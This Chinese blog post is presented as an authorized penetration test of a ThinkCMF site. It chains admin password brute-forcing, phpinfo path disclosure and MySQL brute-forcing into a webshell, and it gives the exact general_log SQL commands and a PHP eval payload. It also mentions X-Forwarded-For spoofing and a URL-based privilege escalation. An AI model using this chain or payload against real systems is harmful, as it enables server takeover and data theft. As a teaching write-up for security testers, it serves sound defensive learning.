前言
前不久的一次授权测试中,感觉缺少任何一步都无法达到getshell的目的,单个漏洞看得话确实平平无奇,但是如果组合起来的话也许会有意想不到的化学效应。
【学习资料】
前期测试
拿到这个站的时候一眼就看见了会员登录界面,一开始想着注册,但是觉得会员功能应该很少,没验证码啥的,万一后台管理员也是会员呢那岂不是要是爆破出来了可以去后台尝试一波。
显示的是手机号登录,但是可以尝试下admin,千万不要被他的前台迷惑了。很巧的是可以进行用户名枚举,而且还存在admin账号,不爆破都对不起他
字典呢用的是鸭王的字典,爆破神器,用这个字典爆破出来过不少站点(https://github.com/TheKingOfDuck/fuzzDicts), 这次也很幸运,爆破出来了
拿到后台去登录下,管理员确实喜欢采用同样的密码,登录进去了。看到后台可以自定义上传的后缀心里想可以愉快的交差了,增加后缀php,找上传一条龙getshell。
当我看到上传图片的编辑器的时候我感觉事情并不是那么简单,果不其然那个增加后缀不起作用
后台发现是thinkcmf建站系统,网上搜索能利用的漏洞,看到一个漏洞集合(https://www.hacking8.com/bug-web/ThinkCMS/ThinkCMF%E6%BC%8F%E6%B4%9E%E5%85%A8%E9%9B%86%E5%92%8C.html) 挨个去尝试下无果,继续搜索(https://www.freebuf.com/vuls/217586.html), 基本上能尝试的都payload都试了试,应该是版本高漏洞修复了或者利用方式不太对,反正是没利用成功。有的方法对网站有破坏性,我要是试了不得被打死呀。既然到现在无法getshell,那就尝试找找漏洞吧,领导说的好如果无法getshell就多找漏洞,听领导的总没有错。
进阶阶段
在一开始打开网站的时候,由于安装了谷歌插件sensinfor(t00ls上发现的),可以初步探测网站的敏感目录,比如备份文件,phpmyadmin,phpinfo等等,在一开始就探测出存在phpinfo,获取了网站的绝对路径
常规用nmap探测下开放的端口,发现对外开放了3306端口,有绝对路径了,不抱希望的去爆破下3306吧,反正我是没爆破出几个3306的密码,用下超级弱口令检查工具,字典接着用鸭王的吧,谁知道是字典强大还是运气爆破,话说这个不算弱口令,只能说字典里有这个密码吧,只要字典存在的就是弱密码,没有错。
接下来就是常规操作了,试下log写日志吧
show variables like '%general%'; 查看日志状态
SET GLOBAL general_log='on' 开启日志读写
SET GLOBAL general_log_file='xxx.php' 指定日志路径
SELECT '<?php eval($_POST["cmd"]);?>' 写日志进xxx.php
其他漏洞
基于负责任的态度也发现了 一些其他的漏洞,不过相对来说危害性不大吧,但是如果在写测试报告的时候如果没得写也是可以写上的。
登录IP伪造
这个后台一般都有记录用户登录IP的习惯,但是如果记录IP的时候选取的是x-forward-for构造的IP,这样攻击者是可以伪造登录IP的,如果没有对IP的合法性进行校验,构造一个XSS payload触发存储型XSS这也不是没可能,在测试的时候就遇到过几次,后台记录会员登录IP的地方存在存储型XSS
不过这里美中不足的是后台对IP的合法性进行了校验,如果是不合法的IP会被重置为0.0.0.0
越权漏洞
登录后发现管理员没办法对自己进行操作,这很尴尬,管理员都没办法更改自己的信息
很简单的办法随便找个可以进行更改的链接,更改url实现修改管理员信息,按照经验这种限制管理员更改自己信息的情况我遇到的很多都是前端限制了。
然后会弹出详情页面,可以进行修改操作,这里修改下会员等级把自己从普通会员变成VIP吧,一个管理员怎么能是普通会员呢
总结
细看下来真的没啥技术含量,运气好爆破出来了,可以写log日志,但是也算是一环扣一环吧,如果不是一开始爆破出来了可能也没想着去爆破3306,如果没有绝对路径的话我也懒得去爆破3306,测试中运气也很重要呀,哈哈。
持续更新↓↓↓↓